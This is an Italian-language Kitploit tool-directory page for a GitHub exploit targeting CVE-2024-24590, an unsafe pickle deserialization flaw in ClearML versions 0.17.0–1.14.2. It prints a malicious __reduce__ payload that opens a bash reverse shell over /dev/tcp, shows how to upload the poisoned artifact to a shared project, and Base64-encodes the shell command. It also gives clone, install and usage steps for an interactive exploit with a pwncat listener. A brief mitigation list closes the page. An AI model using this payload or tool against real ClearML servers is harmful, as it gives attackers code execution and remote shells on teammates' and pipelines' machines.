Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-24590-ClearML-RCE-Exploit — CVE-2024-24590 – ClearML RCE tramite deserializzazione non sicura di artefatti pickle (0.17.0–1.14.2) | Kitploit
Strumenti/GitHubGitHub/rippsec/cve-2024-24590-clearml-rce-exploit
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlApprendimento e FormazioneRed TeamingStrumento di Accesso Remoto
GitHubrippsec/cve-2024-24590-clearml-rce-exploit

CVE-2024-24590-ClearML-RCE-Exploit

CVE-2024-24590 – ClearML RCE tramite deserializzazione non sicura di artefatti pickle (0.17.0–1.14.2)

Vedi Repository
624 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-24590 — RCE su Artifact Pickle di ClearML

Panoramica

CampoDettagli
CVECVE-2024-24590
SoftwareClearML
Versioni interessate0.17.0 – 1.14.2
VulnerabilitàDeserializzazione pickle non sicura degli artifact delle task
AutenticazioneRichiede accesso in scrittura a un progetto ClearML
ImpattoEsecuzione remota di codice su qualsiasi macchina che carichi l'artifact
Testato suUbuntu 22.04, Python 3.9+

Descrizione

ClearML è una piattaforma MLOps utilizzata per tracciare esperimenti, gestire dataset e condividere artifact (modelli, file, oggetti) tra i membri del team. Quando un artifact di una task viene caricato come oggetto Python, ClearML lo serializza usando il modulo pickle di Python. Quando un altro utente scarica e carica tale artifact, ClearML lo deserializza — anch'esso con pickle — senza alcuna verifica di integrità o allowlist di classi.

Un attaccante con accesso in scrittura a un progetto ClearML condiviso può caricare un artifact dannoso contenente un metodo __reduce__ sovrascritto. Qualsiasi membro del team o pipeline automatizzata che recuperi e carichi tale artifact eseguirà il payload dell'attaccante durante la deserializzazione, ottenendo RCE sulla propria macchina.

Dettagli Tecnici

Causa Principale

Il modulo pickle di Python è fondamentalmente non sicuro per input non attendibili. Il metodo magico __reduce__ di una classe controlla come questa viene ricostruita durante la deserializzazione — può restituire qualsiasi callable e argomenti, incluso os.system:

root@kitploit:~
class exploit:
    def __reduce__(self):
        return os.system, ("bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'",)

Quando viene serializzato e successivamente deserializzato, Python chiama os.system(cmd) come parte della ricostruzione dell'oggetto — prima che il chiamante abbia qualsiasi possibilità di ispezionare l'oggetto.

Flusso dell'Attacco

root@kitploit:~
Attaccante (accesso in scrittura al progetto)
    │
    ▼
task = Task.init(project_name="shared-project", task_name="exploit")
task.upload_artifact("model", artifact_object=exploit())
    │
    ▼
Il server ClearML memorizza l'artifact come blob binario serializzato con pickle
    │
    ▼
La vittima recupera l'artifact (pipeline automatizzata / revisione manuale)
    task.artifacts["model"].get()
    │
    ▼
pickle.loads(blob) → __reduce__ scatta → os.system(reverse_shell_cmd)
    │
    ▼
La reverse shell si riconnette all'attaccante

Codifica del Payload

Il comando della reverse shell viene codificato in Base64 prima dell'incorporamento per evitare problemi di quoting della shell nella stringa serializzata:

root@kitploit:~
bash_cmd = f'bash -c "bash -i >& /dev/tcp/{ip}/{port} 0>&1"'
b64 = base64.b64encode(bash_cmd.encode()).decode()
cmd = f'echo {b64} | base64 -d | sh'

Prerequisiti

  • Un account ClearML con accesso in scrittura ad almeno un progetto sul server di destinazione
  • La vittima deve deserializzare l'artifact (recuperandolo tramite ClearML SDK)

Installazione

root@kitploit:~
git clone https://github.com/rippsec/CVE-2024-24590-ClearML-RCE-Exploit.git
cd CVE-2024-24590-ClearML-RCE-Exploit
pip install -r requirements.txt

Requisiti: clearml, pwntools, colorama

Utilizzo

root@kitploit:~
python3 exploit.py

Il menu interattivo guida attraverso due passaggi:

Passaggio 1 — Inizializza ClearML (opzione 1)

Esegue clearml-init per configurare le credenziali per il server ClearML di destinazione. Prima esegue il backup di eventuali ~/clearml.conf esistenti.

Passaggio 2 — Esegui exploit (opzione 2)

Chiede:

  • Il tuo IP di ascolto (listener)
  • La tua porta di ascolto (listener)
  • Il nome del progetto di destinazione (case-sensitive — deve essere un progetto su cui hai accesso in scrittura)

Avvia opzionalmente un listener pwncat automaticamente prima di caricare l'artifact.

screenshot

Mitigazione

  • Aggiorna a ClearML ≥ 1.14.3, che limita la deserializzazione degli artifact
  • Verifica i controlli di accesso al progetto — limita l'accesso in scrittura ai soli utenti fidati
  • Tratta lo storage degli artifact ClearML come una superficie di esecuzione di codice non attendibile se utilizzi versioni precedenti

Riferimenti

  • Scheda NVD
  • ClearML GitHub
  • Avviso sulla sicurezza di Python pickle
Scarica lo strumento